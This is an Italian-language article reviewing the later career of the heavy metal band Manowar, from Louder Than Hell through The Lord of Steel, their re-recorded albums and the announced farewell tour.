Manowar [Seconda parte: il declino, il colpo di coda, la ricerca di un nuovo sound accompagnato da un netto calo di idee]

Manowar [Seconda parte: il declino, il colpo di coda, la ricerca di un nuovo sound accompagnato da un netto calo di idee]

Manowar [Seconda parte: il declino, il colpo di coda, la ricerca di un nuovo sound accompagnato da un netto calo di idee]

Avevamo lasciato i Manowar con la loro formazione più tecnica e col loro “trionfo dell’acciaio” in quel 1992. Nel frattempo raccolgono idee sul nuovo disco, fanno il tour di supporto, cambiano la line-up (ritorna Columbus e alla chitarra fa il suo ingresso Karl Logan) e nel ’94 fanno uscire la raccolta The Hell of Steel.
Due anni dopo sarà pubblicato il disco successivo, il tanto criticato Louder Than Hell. Il lavoro è pubblicato in un periodo difficile per il metal classico, ma nonostante questo la band non abbandona le sue radici anzi, forse le rafforza ancora di più, andando in parte a perdere la vena epica, ma aumentando quella heavy del loro sound. Un album dai tratti semplici, anche troppo per le varie critiche che, oltre ad accusare l’eccessiva semplicità delle canzoni proposte, giudicano scarsa la fantasia nei testi e le canzoni non tutte potenti ed ispirate. La band vede l’ancora di salvezza nel suo prodigioso cantante, il quale non sempre è in grado di risollevare in parte un disco privo di mordente, che in diversi episodi non convince e che, in ultima istanza, rappresenta un netto passo indietro rispetto a quanto fatto prima. Nonostante tutto però, grazie a certi riffoni macinati dalla new entry, al sempre prodigioso Eric e a certi episodi portentosi tra l’altro molto amati dai fan, questo è comunque un disco degno del nome che porta in copertina e che per gli amanti dell’epic, ma soprattutto dell’heavy metal, risulta una piccola isola felice in anni in cui la scena alternative aveva mietuto diverse vittime.

Gli anni passano e la band, con un netto calo di idee e di ispirazione, immette nel mercato altre raccolte e live e comincia ad invadere gli scaffali dei negozi con questi. Sei sono gli anni che passano tra  Louder Than Hell ed il successivo Warriors of the World: album che nonostante qualche basso, si dimostra essere un colpo di coda poderoso rispetto al precedente disco che peccava di piattume in diversi episodi. A parte brano scialbo e fuori dai canoni stilistici della band, essa qui seppe in buona parte convincere, grazie anche alle modifiche apportate al sound che ora lo rendono più oscuro e moderno, heavy senz’altro, ma anche epico. Pure qui le critiche non mancano, andando a giudicare negativamente una certa altalena qualitativa tra i pezzi proposti e arrivando a criticare il lavoro dietro alle pelli di Scott, da taluni qui definito troppo semplice e banale. C’è da dire però, che il sound rispetto a sei anni prima è rinvigorito, presentando riffs più moderni e laceranti, con assoli fulminei e velenosi, dandoci quindi un Karl Logan più ispirato rispetto alla sua prima apparizione con la band, un Eric sempre in forma smagliante (seppur con tonalità leggermente più basse rispetto al glorioso passato), una batteria monolitica – la title track ne è un’esemplificazione lampante – ed un basso che come sempre quando si parla dei Kings of metal è potente e prepotente. Accanto a canzoni potenti ed energiche, i quattro si lasciano andare per una ballata di buon livello (Swords In The Wind) che grazie alla prestazione del cantante riesce ad avere un forte impatto emotivo, alle “particolari” Fight For Freedom e An American Trilogy che sono tra i punti più deboli dell’album (quest’ultima presenta forti influenze country), ad un paio di episodi orchestrali piacevoli e alla cover di Giacomo Puccini, la struggente Nessun dorma (cantata per la prima volta nel 1926, postuma al suo compositore morto due anni prima) nella quale Eric Adams sforna una delle sue migliori prestazioni a livello canoro della sua carriera (anche se con un pronuncia della lingua italiana un po’ “sporcata” dal suo accento americano). Da dire poi che l’album risulta “iper-prodotto” con una produzione molto moderna e che presenta pure molte sovraincisioni che spesso sono stucchevoli e potevano benissimo essere omesse. Sempre di quell’anno è l’ep Dawn Of Battle che con la track omonima contiene una delle loro song più assassine.
Nota a parte: per dovere di cronaca riportiamo che nel 2003 DeMaio fondò la Magic Circle Music label che da qui in poi pubblicherà tutti i lavori del combo americano e di altre band di generi analoghi. Oltre a questo si organizza un festival annuale denominato Magic Circle Festival dedicato alle sonorità più classiche ed allo stesso tempo più epiche dell’heavy metal.
Inoltre è da ricordare il 2005 per il mitico “Earthshaker fest” nel quale la band a stelle e strisce suonò i vari classici con TUTTI i membri e gli ex-membri riuniti per una delle loro più grandi manifestazioni di potenza.

Gli anni passano, le raccolte, i live cd/dvd aumentano e di pari passo anche la schiera degli haters: d’altronde non tutti accettavano (ed accettano) di buon occhio i loro atteggiamenti, talune scelte di “marketing” (accompagnate dai proclami e dal “folklore” del true metal) e certe uscite su alcuni generi del metal – la corrente “alternative” ed il nu metal in particolare, sono colpevoli a loro dire di essere commerciali e per fighetti oltre al fatto che non è “vero” metal, ma è robetta da radio o tv – non ha aiutato di certo e se da un lato la cosa gasa ed infervora i loro fan fedeli, dall’altra ha contribuito in parte ad alienarsi le nuove leve. L’ispirazione intanto latita ed i Kings of metal continuano a fare i loro monumentali tour in giro per il mondo, raccogliendo folle oceaniche ai loro piedi, con una particolare attenzione per l’est dell’Europa: nel 2005 il tour con gli italiani Rhapsody of Fire, visto il loro sound molto ispirato, ha sicuramente dato un grande ascendente ai 4 americani, infatti in tutti i lavori collegati all’album Gods Of War c’è una grande impronta sinfonica nel loro sound. E arriviamo al 2006: esce l’Ep The Sons Of Odin, antipasto di quello che sarà Gods Of War, il quale invece uscirà l’anno successivo. La band per la prima volta in assoluto si cimenta nella stesura di un INTERO concept album, ad eccezione di una bonus track che è un inno ai loro fan, basato sulla mitologia norrena: abbiamo quindi liriche dedicate alle divinità vichinghe che si annidano nel Valhalla, drakkar (le famigerate navi da guerra vichinghe che nel medioevo incutevano terrore quando venivano avvistate, vista la violenza e la ferocia dei guerrieri che le conducevano che, nei loro saccheggi, si erano conquistati una certa fama), Berserker e Valchirie tra le altre cose che vanno ad aggiungersi alle classiche tematiche di scuola “manowariana”. Accanto a queste novità a livello lirico-tematico, ce ne sono delle altre, decisamente rilevanti a livello musicale: la componente metal, tralasciando un paio di episodi, si fa più lenta ed atmosferica, ci sono brani che sono in pratica metal sinfonico, abbiamo un gran numero di parti effettate e narrate oltre ad altre completamente sinfoniche e, dulcis in fundo, ci sono pure un paio di episodi folkloristici – sorprendentemente riusciti – che sono davvero molto simili ai canti alpini tipici del nord Italia. Un disco ricco di sonorità differenti che, negli intenti dei Manowar, dovevano dare un certo vigore a livello compositivo, ma che ahimè, vista la mancata “misura” ed esperienza in tale ambito, risulta acerbo e pieno di ingenuità (le opere metal dei Virgin Steele sono ancora oggi inarrivabili per ricchezza di sound ed epicità). Le parti narrate sono lunghe, a volte estenuanti, le parti “effettate” spesso sono messe a forza e non si integrano bene con il sound proposto, gli episodi completamente sinfonici non danno la giusta aura al lavoro ed i punti critici appena citati rendono l’ascolto dell’opera discontinuo e frammentario: detto ciò però (e aggiungendo che comunque un paio di song seppur piacevoli ormai sono la fiera del già sentito), i momenti belli non mancano, anzi! Quando l’epic si fa sinfonico e viceversa la band è in grado di tirare su una perfomance con la “P” maiuscola, pomposamente epica, emozionante e struggente nella quale il gruppo si avvale di un tastierista per il sottofondo musicale oltre ad un coro numeroso per dare un tocco più epico al tutto! Poi come sempre c’è da dire che Eric per l’ennesima volta, e nonostante l’età avanzi, si dimostra il vero mattatore del gruppo che nonostante scelte infelici ed azzardate sa comunque dare molto al tutto. Infine c’è da dire che anche Logan riesce a macinare dei riffs interessanti e degli assoli di  gran pregio. I live che ne seguiranno daranno vita a una band più pomposa che mai: scenografie che ritraggono drakkar con rematori, berserker che duellano tra loro, molti richiamI ad opere del passato (guardate per esempio gli scudi dei guerrieri, che poi danno anche man forte ai cori quando serve) e mega schermi nei quali si poteva vedere lo svolgersi delle drammatiche vicende. Tutto questo sarà riproposto anche in alcuni live album della band collegati a questo disco. Un lavoro affascinante insomma, ma allo stesso tempo grezzo, ingenuo e tremendamente altalenante in cui sia pregi che difetti vengono esasperati.

Nonostante tutto, i tour continuano con un certo successo e nel 2009, per fare un “tributo” ai loro fan, la band americana pubblica l’Ep Thunder In The Sky e qui abbiamo una particolarità, si tratta infatti di un doppio disco: nel primo vi è qualche inedito e b-sides fatto dal vivo e una versione riarrangiata in chiave metal della mitica The Crown & The Ring, il secondo disco invece è tutto per la ballata Father, presente in ben SEDICI lingue, nella quale c’è un sunto dell’ideale manowariano e in cui la band sa dare forti emozioni all’ascoltatore. Qui essi avevano in mente un progetto più ampio denominato The Asgard Saga (andando ad includere un nuovo album di inediti, un romanzo, un film e persino un videogioco, ma tutte queste cose sul piano pratico non furono realizzate).

E passiamo al 2010 e a quell’operazione discutibile della ristampa (ma sarebbe più il caso di parlare di “opera di restauro”). La band con la nuova formazione – via Columbus, dentro Donnie Hamzik che era già presente l’anno prima – suona e registra di nuovo il suo esordio, dandogli così un suono più potente e molto più pulito, al passo coi tempi e con Eric Adams che riesce sempre a dar bella mostra di sé, ma comunque deve ripiegare su tonalità più basse di quanto fatto nel lontano ’82. Un’operazione discutibile certo, che palesa una grave mancanza di idee, ma che comunque è stata fatta bene ed ha un certo senso: far scoprire alle giovani leve il loro mitico esordio. In più c’è una cover differente (l’aquila romana dell’esordio qui è in una veste dorata) e due succose bonus track tratte da un live dell’epoca nel quale ci mostrano una band giovane, ma dannatamente arrembante. Quattro anni dopo si tenta la sorte con l’epocale Kings Of Metal, ma la cosa questo giro non viene fatta con cognizione di causa e mette in piedi un disastro di atroci sofferenze per i fan di vecchia data: le canzoni sono le stesse dell’originale, con qualche piccola e deleteria modifica, oltre ad avere qualche (inutile) bonus track ad arricchire il tutto. Il vero problema però, è che la nuova produzione ed il nuovo missaggio riescono ad affossare le canzoni, conferendo loro un suono finto e freddo e che non riesce pertanto a rendere onore al capolavoro uscito nell’88.

Infine, risale al 2012 l’ultimo vero album in studio della band, il tanto criticato The Lord of Steel, ahimè, qui ci avviciniamo al crepuscolo degli dei. Purtroppo questo è la sagra dei cliché e del riciclo continuo, sia a livello  musicale sia a livello di tematiche, che qui hanno raggiunto una bassezza allucinante. Il sound è classico, molto classico e ricalca gli stilemi manowariani, abbandonando quindi le ambizioni sinfoniche di Gods Of War o la parziale modernità di Warriors Of The World, andando a sfornare un disco dal sound semplice e diretto, tendente all’heavy metal classico con una punta epicheggiante di sottofondo che comunque regala qualche bel momento (grazie anche agli assoli e alla prestazione del cantante che come abbiamo scritto e letto più volte è stato il vero ago della bilancia in questi ultimi anni). In fondo non è un lavoro insufficiente,  ma comunque deludente. La produzione, come ci hanno abituato negli ultimi tempi, è moderna e pure troppo pompata, il basso di DeMaio è più terremotante del solito, volendo andare a battagliare con gli altri strumenti (specialmente nella Hammer Edition che ha un missaggio molto discutibile). I testi purtroppo  risultano spesso veramente banali e scontati, oltre a questo le canzoni, a parte poche eccezioni, sono abbastanza piatte e la vena epica spesso si perde tra song poco ispirate, riffs di chitarra che con un basso così potente (fastidioso?) non riescono ad esplodere e qualità di registrazione decisamente discutibile. Ciò è un grande peccato visto che Logan comunque si impegna riuscendo discretamente. Purtroppo però, siamo di fronte al loro peggiore capitolo discografico, ma che comunque dal vivo viene salvato dalle perfomance della band che restano sempre ottime, tant’è che la band pubblicò The Lord of Steel live Ep a testimonianza di ciò.
Pochi mesi fa circolavano voci di corridoio che sostenevano che i Kings of metal erano in studio per la stesura di un nuovo album, ma  il comunicato ufficiale di poche settimane fa rimette in discussione tutto visto che si parla del tour di addio alle scene, dal nome di “Final Battle World Tour“. Inutile dire che quando arriverà la fine della loro carriera, sarà comunque un giorno triste, visto che a lasciarci sarà una band che nel bene o nel male, ha comunque dato tanto al metal e che idealmente ancora oggi è qui a rappresentarne la parte per certi versi più tradizionalista, provocatoria, fiera e battagliera del genere. HAIL TO THE IMMORTAL WARRIORS!

 

 

 

 

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Sebastiano Dall'Armellina

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